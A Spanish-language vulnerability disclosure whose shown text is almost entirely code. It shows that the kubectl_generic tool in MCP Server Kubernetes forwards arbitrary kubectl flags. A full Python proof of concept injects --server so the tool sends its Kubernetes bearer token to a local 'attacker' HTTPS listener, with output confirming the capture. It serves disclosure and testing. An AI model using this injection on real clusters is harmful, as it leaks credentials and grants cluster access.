Inyección de flags en MCP Server Kubernetes permite exfiltración de tokens bearer de Kubernetes

if (input.flags) {
  for (const [key, value] of Object.entries(input.flags)) {
    if (value === true) {
      cmdArgs.push(`--${key}`);
    } else if (value !== false && value !== null && value !== undefined) {
      cmdArgs.push(`--${key}=${value}`);   // ← sin lista de permitidos; cualquier flag de kubectl aceptado
    }
  }
}

if (input.args && input.args.length > 0) {
  cmdArgs.push(...input.args);             // ← también sin restricciones
}

# Confirmar que el bucle de flags no tiene lista de permitidos:
grep -A 8 "for.*Object.entries.*flags" src/tools/kubectl-generic.ts

# Iniciar un listener HTTPS mínimo con certificado auto-firmado:
openssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/k.pem -out /tmp/c.pem \
  -subj "/CN=test" -days 1 2>/dev/null

python3 - <<'EOF'
import ssl, threading, json
from http.server import BaseHTTPRequestHandler, HTTPServer

class H(BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_GET(self):
        print(f"Authorization: {self.headers.get('authorization','<none>')}") 
        self.send_response(401); self.end_headers()

srv = HTTPServer(("127.0.0.1", 19001), H)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("/tmp/c.pem", "/tmp/k.pem")
srv.socket = ctx.wrap_socket(srv.socket, server_side=True)
t = __import__("threading").Thread(target=srv.serve_forever, daemon=True); t.start()

import subprocess, time; time.sleep(0.3)
subprocess.run([
    "kubectl", "get", "pods",
    "--server=https://127.0.0.1:19001",
    "--token=MY-TEST-TOKEN-DOES-THIS-ARRIVE",
    "--insecure-skip-tls-verify=true"
], capture_output=True)
time.sleep(0.3)
EOF

Authorization: Bearer MY-TEST-TOKEN-DOES-THIS-ARRIVE

git clone https://github.com/Flux159/mcp-server-kubernetes
cd mcp-server-kubernetes
npm install && npm run build

#!/usr/bin/env python3
"""
PoC: inyección de flags kubectl_generic → exfiltración de token bearer.
Ejecutar desde dentro del repositorio mcp-server-kubernetes después de `npm run build`.
"""
import json, os, ssl, subprocess, sys, tempfile, threading, time
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

KNOWN_TOKEN  = "EXFIL-CONFIRM-THIS-TOKEN-12345"
ATTACKER_PORT = 19001
captured = []

# ── Servidor HTTPS atacante ───────────────────────────────────────────
class Attacker(BaseHTTPRequestHandler):
    def log_message(self, *_): pass
    def _handle(self):
        auth = self.headers.get("authorization", "")
        if auth: captured.append(auth); print(f"  CAPTURADO: {auth}", flush=True)
        body = b'{"code":401}'; self.send_response(401)
        self.send_header("Content-Length", str(len(body))); self.end_headers()
        self.wfile.write(body)
    def do_GET(self): self._handle()
    def do_POST(self): self._handle()

tmpdir = tempfile.mkdtemp()
cert, key = f"{tmpdir}/c.pem", f"{tmpdir}/k.pem"
subprocess.run(["openssl","req","-x509","-newkey","rsa:2048","-nodes",
    "-keyout",key,"-out",cert,"-subj","/CN=attacker","-days","1"],
    capture_output=True, check=True)
srv = ThreadingHTTPServer(("127.0.0.1", ATTACKER_PORT), Attacker)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain(cert, key)
srv.socket = ctx.wrap_socket(srv.socket, server_side=True)
threading.Thread(target=srv.serve_forever, daemon=True).start()

# ── kubeconfig falso con token conocido ──────────────────────────────
kubeconfig = f"""apiVersion: v1
kind: Config
clusters:
- cluster:
    server: https://fake-cluster.internal:6443
    insecure-skip-tls-verify: true
  name: poc
contexts:
- context:
    cluster: poc
    user: poc-user
  name: poc
current-context: poc
users:
- name: poc-user
  user:
    token: {KNOWN_TOKEN}
"""

# ── Iniciar mcp-server-kubernetes ────────────────────────────────────
proc = subprocess.Popen(
    ["node", "dist/index.js"],
    stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
    env={**os.environ, "KUBECONFIG_YAML": kubeconfig}
)
time.sleep(2)
if proc.poll() is not None:
    print("Servidor falló al iniciar:", proc.stderr.read().decode()[:300]); sys.exit(1)

def send(msg):
    proc.stdin.write((json.dumps(msg)+"\n").encode()); proc.stdin.flush()

def recv(timeout=15):
    import time as _t; deadline = _t.time()+timeout
    while _t.time() < deadline:
        line = proc.stdout.readline()
        if line:
            try: return json.loads(line)
            except: pass
        time.sleep(0.05)

# Handshake MCP
send({"jsonrpc":"2.0","id":1,"method":"initialize",
      "params":{"protocolVersion":"2024-11-05","capabilities":{},
                "clientInfo":{"name":"poc","version":"0"}}})
recv()
send({"jsonrpc":"2.0","method":"notifications/initialized","params":{}})
time.sleep(0.3)

# ── LA LLAMADA DE ATAQUE ────────────────────────────────────────────────
print(f"\nLlamando kubectl_generic con --server=https://127.0.0.1:{ATTACKER_PORT}")
print("kubectl enviará Authorization: Bearer al servidor HTTPS atacante\n")

send({"jsonrpc":"2.0","id":2,"method":"tools/call",
      "params":{"name":"kubectl_generic",
                "arguments":{"command":"get","resourceType":"pods",
                             "flags":{"server":f"https://127.0.0.1:{ATTACKER_PORT}",
                                      "insecure-skip-tls-verify":"true"}}}})
recv(timeout=20)
time.sleep(1)
proc.terminate(); srv.shutdown()

# ── Resultado ─────────────────────────────────────────────────────────
print()
if any(KNOWN_TOKEN in c for c in captured):
    print("PASÓ: token bearer exfiltrado vía inyección de flags kubectl_generic")
    print(f"  Token inyectado: {KNOWN_TOKEN}")
    print(f"  Capturado:       {captured[0]}")
else:
    print("NO CONFIRMADO - ver salida arriba")
    sys.exit(1)

Llamando kubectl_generic con --server=https://127.0.0.1:19001
kubectl enviará Authorization: Bearer al servidor HTTPS atacante

  CAPTURADO: Bearer EXFIL-CONFIRM-THIS-TOKEN-12345

PASÓ: token bearer exfiltrado vía inyección de flags kubectl_generic
  Token inyectado: EXFIL-CONFIRM-THIS-TOKEN-12345
  Capturado:       Bearer EXFIL-CONFIRM-THIS-TOKEN-12345